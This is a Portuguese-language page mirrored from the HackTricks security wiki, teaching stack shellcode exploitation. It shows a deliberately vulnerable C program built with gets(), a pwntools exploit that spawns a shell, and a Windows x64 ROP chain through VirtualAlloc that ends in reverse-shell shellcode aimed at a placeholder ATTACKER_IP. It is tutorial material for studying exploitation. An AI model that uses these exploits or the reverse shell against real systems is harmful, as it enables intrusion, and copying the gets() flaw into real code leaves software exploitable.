mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
164 lines
9.0 KiB
Markdown
164 lines
9.0 KiB
Markdown
# Stack Shellcode
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Informações Básicas
|
|
|
|
**Stack shellcode** é uma técnica usada em **binary exploitation** em que um atacante grava shellcode na stack de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou o **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, causando sua execução. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Abaixo está uma descrição do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
|
|
|
|
### Exemplo em C: Um Programa Vulnerável
|
|
|
|
Vamos começar com um exemplo simples de um programa C vulnerável:
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void vulnerable_function() {
|
|
char buffer[64];
|
|
gets(buffer); // Unsafe function that does not check for buffer overflow
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
printf("Returned safely\n");
|
|
return 0;
|
|
}
|
|
```
|
|
Este programa é vulnerável a um buffer overflow devido ao uso da função `gets()`.
|
|
|
|
### Compilação
|
|
|
|
Para compilar este programa enquanto desabilita várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
|
|
```sh
|
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|
```
|
|
- `-fno-stack-protector`: Desativa a proteção da pilha.
|
|
- `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
|
|
- `-no-pie`: Desativa Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode ficará localizado.
|
|
- `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado pela simplicidade no desenvolvimento de exploits.
|
|
|
|
### Exploit em Python usando Pwntools
|
|
|
|
A seguir, um exemplo de como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
|
|
```python
|
|
from pwn import *
|
|
|
|
# Set up the process and context
|
|
binary_path = './vulnerable'
|
|
p = process(binary_path)
|
|
context.binary = binary_path
|
|
context.arch = 'i386' # Specify the architecture
|
|
|
|
# Generate the shellcode
|
|
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
|
|
|
# Find the offset to EIP
|
|
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
|
|
|
# Prepare the payload
|
|
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
|
nop_slide = asm('nop') * (offset - len(shellcode))
|
|
payload = nop_slide + shellcode
|
|
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
|
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|
|
|
# Send the payload
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
Este script constrói um payload composto por um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
|
|
|
|
O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide.
|
|
|
|
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
|
|
|
No Windows moderno a stack não é executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF de stack é construir uma cadeia ROP de 64-bit que chama VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado depois da cadeia.
|
|
|
|
Key points (Win64 calling convention):
|
|
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
|
- RCX = lpAddress → escolha um endereço na stack atual (por exemplo, RSP) para que a região RWX recém-alocada se sobreponha ao seu payload
|
|
- RDX = dwSize → grande o suficiente para sua chain + shellcode (por exemplo, 0x1000)
|
|
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
|
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
|
- Return directly into the shellcode placed right after the chain.
|
|
|
|
Minimal strategy:
|
|
1) Leak a base de um módulo (por exemplo, via format-string, object pointer, etc.) para calcular endereços absolutos de gadgets e da IAT sob ASLR.
|
|
2) Encontre gadgets para carregar RCX/RDX/R8/R9 (pop ou sequências baseadas em mov/xor) e um call/jmp [VirtualAlloc@IAT]. Se não houver pop r8/r9 direto, use gadgets aritméticos para sintetizar constantes (por exemplo, defina r8=0 e some r9=0x40 repetidamente quarenta vezes para alcançar 0x1000).
|
|
3) Coloque o stage-2 shellcode imediatamente após a chain.
|
|
|
|
Example layout (conceptual):
|
|
```
|
|
# ... padding up to saved RIP ...
|
|
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
|
POP_R9_RET; 0x40
|
|
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
|
POP_R8_RET; 0x1000
|
|
# RCX = &stack (lpAddress)
|
|
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
|
# RDX = size (dwSize)
|
|
POP_RDX_RET; 0x1000
|
|
# Call VirtualAlloc via the IAT
|
|
[IAT_VirtualAlloc]
|
|
# New RWX memory at RCX — execution continues at the next stack qword
|
|
JMP_SHELLCODE_OR_RET
|
|
# ---- stage-2 shellcode (x64) ----
|
|
```
|
|
Com um conjunto de gadgets restrito, você pode criar valores de registradores indiretamente, por exemplo:
|
|
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → define r9 a partir de rbx, zera r8 e compensa a pilha com um qword de lixo.
|
|
- xor rbx, rsp; ret → inicializa rbx com o ponteiro de pilha atual.
|
|
- push rbx; pop rax; mov rcx, rax; ret → move o valor derivado de RSP para RCX.
|
|
|
|
Esboço Pwntools (dada uma base conhecida e gadgets):
|
|
```python
|
|
from pwn import *
|
|
base = 0x7ff6693b0000
|
|
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
|
rop = b''
|
|
# r9 = 0x40
|
|
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
|
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
|
# rcx = rsp
|
|
rop += p64(base+POP_RBX_RET) + p64(0)
|
|
rop += p64(base+XOR_RBX_RSP_RET)
|
|
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
|
rop += p64(base+MOV_RCX_RAX_RET)
|
|
# r8 = 0x1000 via arithmetic if no pop r8
|
|
for _ in range(0x1000//0x40):
|
|
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
|
# rdx = 0x1000 (use any available gadget)
|
|
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
|
# call VirtualAlloc and land in shellcode
|
|
rop += p64(IAT_VirtualAlloc)
|
|
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
|
```
|
|
Dicas:
|
|
- VirtualProtect funciona de forma semelhante se for preferível tornar um buffer existente RX; a ordem dos parâmetros é diferente.
|
|
- Se o espaço na stack estiver curto, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack.
|
|
- Sempre contabilize gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords inúteis.
|
|
|
|
|
|
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável entre execuções; caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisará de algum leak para descobrir onde a função win foi carregada.
|
|
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados, caso contrário o endereço de retorno EIP comprometido nunca será seguido.
|
|
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) a proteção **stack** impediria a execução do shellcode dentro da stack porque essa região não será executável.
|
|
|
|
## Outros Exemplos & Referências
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
|
- 64bit, ASLR com leak de endereço da stack, escrever shellcode e pular para ele
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
|
- 32 bit, ASLR com leak da stack, escrever shellcode e pular para ele
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
|
- 32 bit, ASLR com leak da stack, comparação para impedir a chamada a exit(), sobrescrever variável com um valor e escrever shellcode e pular para ele
|
|
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
|
- arm64, sem ASLR, ROP gadget para tornar a stack executável e pular para o shellcode na stack
|
|
|
|
|
|
## Referências
|
|
|
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
|
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|